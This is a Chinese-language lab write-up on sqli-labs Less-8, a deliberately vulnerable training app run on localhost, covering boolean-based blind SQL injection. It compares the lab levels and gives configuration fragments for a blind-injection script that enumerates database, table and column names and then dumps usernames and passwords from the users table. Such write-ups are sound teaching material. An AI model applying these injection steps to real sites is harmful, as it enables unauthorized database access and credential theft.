基于Bool_GET_单引号_字符型_盲注
0x01. Less1、5、7、8回显对比
Less | 注入方法 | 正确回显 | 错误回显 |
---|---|---|---|
1 | 基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
5 | 双注入 | 固定字符串 | Mysql错误信息 |
7 | 导出文件注入 | 固定字符串 | 另一固定字符串 |
8 | Bool型盲注 | 固定字符串 | 无 |
Less1可以通过正确回显直接查询到数据,Less5可以从错误回显中得到信息。
而Less7和Less8不能显示任何有价值的回显,所以叫做盲注。
只要回显中有固定字符串,都可使用盲注脚本,如Less5。
盲注主要分为Bool型和Time型,Bool盲注通常涉及到的函数在Bool盲注脚本那篇已介绍过。
Bool盲注的中心思想是通过mid()
等截取函数以二分法的形式查询逐个匹配想要的信息,过程通常都很耗时,所以一般写个盲注脚本来跑。
0x02. 脚本注入过程
Bool盲注脚本那篇的脚本适用于大部分情况,只需修改url,查询语句闭合,数据库、表和字段名即可。
分析查询语句详见Less7。
步骤一:数据库名
url = "http://localhost:8088/sqlilabs/Less-8/?id="
start_str = "1' and "
info_table_name = "schemata"
info_column_name = "schema_name"
步骤二:表名
info_table_name = "tables"
info_column_name = "table_name"
database_name = "security"
where_str = " where table_schema='"+database_name+"'"
步骤三:字段名
info_table_name = "columns"
info_column_name = "column_name"
table_name = "users"
where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
步骤三:数据
column_name = ["id","username","password"]
select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"
0x03. 吐槽
写Less5那天先把脚本写了是值得的。